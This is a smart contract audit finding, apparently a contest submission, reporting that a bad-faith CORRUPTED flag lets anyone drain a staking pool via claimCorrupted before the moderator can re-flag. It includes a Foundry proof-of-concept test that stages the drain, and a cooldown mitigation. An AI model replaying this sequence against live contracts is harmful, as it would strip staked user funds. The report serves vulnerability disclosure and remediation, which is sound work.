FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Bad-faith CORRUPTED allows immediate pool drain before good-faith re-flag

Author Revealed upon completion

Root + Impact

Description

  • Normally, after a goodFaith CORRUPTED flag, claimCorrupted is blocked until the attacker's bounty is claimed first (MustClaimBountyFirst gate).

  • When goodFaith=false, the MustClaimBountyFirst gate is inactive, allowing immediate permissionless drain of the entire pool to recoveryAddress.

Risks

  • The moderator may temporarily flag bad-faith while investigating the breach.

  • MEV bots monitor flagOutcome events and will front-run any re-flag within the same block.

Impact:

  • Entire pool value swept to recoveryAddress instantly.

  • Moderator permanently locked out of re-flagging (claimsStarted = true).

  • Whitehat bounty impossible — pool has no funds left.

Proof of Concept

The Foundry test below demonstrates that after a bad-faith CORRUPTED flag, anyone can drain the entire pool via claimCorrupted before the moderator can re-flag to good-faith:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract PoC_M02_BadFaithDrain is BaseConfidencePoolTest {
function test_M02_BadFaithDrain() public {
// Setup: 500 ETH staked + 100 ETH bonus
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(block.timestamp + 1 days);
deal(address(token), alice, 500 ether);
vm.startPrank(alice);
token.approve(address(pool), 500 ether);
pool.stake(500 ether);
vm.stopPrank();
deal(address(token), bob, 100 ether);
vm.startPrank(bob);
token.approve(address(pool), 100 ether);
pool.contributeBonus(100 ether);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(block.timestamp + 1 days);
// Bad-faith flag — MustClaimBountyFirst gate inactive
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// Anyone drains — 600 ETH swept to recovery
uint256 before = token.balanceOf(recovery);
vm.prank(address(0xBEEF));
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - before, 600 ether);
assertEq(token.balanceOf(address(pool)), 0);
// Moderator re-flag blocked — claimsStarted = true
vm.prank(moderator);
vm.expectRevert();
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
}
}

forge test --match-path "test/PoC_BattleChain_Medium.t.sol" -vv --match-test test_M02_BadFaithDrain
All 4 tests PASS (gas: 779,472)

Recommended Mitigation

Add a minimum 24-hour cooldown between bad-faith CORRUPTED flag and claimCorrupted to give the moderator a window to re-flag to good-faith.

Mitigation:
Add a minimum 24-hour cooldown between a bad-faith CORRUPTED flag and claimCorrupted:

uint256 public badFaithFlaggedAt;
uint256 public constant BAD_FAITH_COOLDOWN = 24 hours;
// In flagOutcome():
if (newOutcome == PoolStates.Outcome.CORRUPTED && !goodFaith_) {
badFaithFlaggedAt = block.timestamp;
}
// In claimCorrupted():
if (!goodFaith && block.timestamp < badFaithFlaggedAt + BAD_FAITH_COOLDOWN) {
revert BadFaithCooldownActive();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!